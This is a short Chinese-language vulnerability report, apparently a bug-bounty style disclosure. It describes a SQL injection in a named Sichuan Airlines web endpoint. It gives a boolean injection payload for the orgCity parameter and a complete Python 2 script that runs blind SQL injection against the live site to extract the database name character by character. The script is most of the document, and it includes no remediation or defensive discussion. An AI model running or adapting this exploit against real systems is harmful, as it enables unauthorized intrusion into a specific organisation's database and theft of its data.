四川航空某处SQL注入漏洞（附脚本）

http://www.scal.com.cn/Web/Home/GetTerminalServicesList 
 
 orgCity=-1' OR len(db_name())=9 or 'a'='

#encoding=utf-8
 
 import httplib
 
 import time
 
 import string
 
 import sys
 
 import random
 
 import urllib
 
 
 
 headers = {'Content-Type': 'application/x-www-form-urlencoded'}
 
 
 
 payloads = list(string.ascii_lowercase)
 
 payloads += list(string.ascii_uppercase)
 
 for i in range(0,10):
 
     payloads.append(str(i))
 
 payloads += ['@','_', '.', '-', '//', ' ']
 
 
 print 'Try to retrive DB:'
 
 db = ''
 
 for i in range(1,10):
 
     for payload in payloads:
 
 
 
             conn = httplib.HTTPConnection('www.scal.com.cn', timeout=60)
 
             s = "orgCity=-1' OR ascii(substring(db_name(),%s,1))=%s or 'a'='" % (i, ord(payload))
 
             s=urllib.quote(s,'?,=,&,/')
             
             conn.request(method='POST', url='/Web/Home/GetTerminalServicesList', body=s,
 
                          headers = headers)
 
             html_doc = conn.getresponse().read()
 
             conn.close()
 
             print '.',
 
             #print html_doc
 
 
             if  html_doc.find('65393013')>0 :  # False
 
 
 
                 db += payload
 
 
 
                 print '/n[in progress]', db
 
 
 
                 break
 
 
         
 
 print '/n[Done] DB is:', db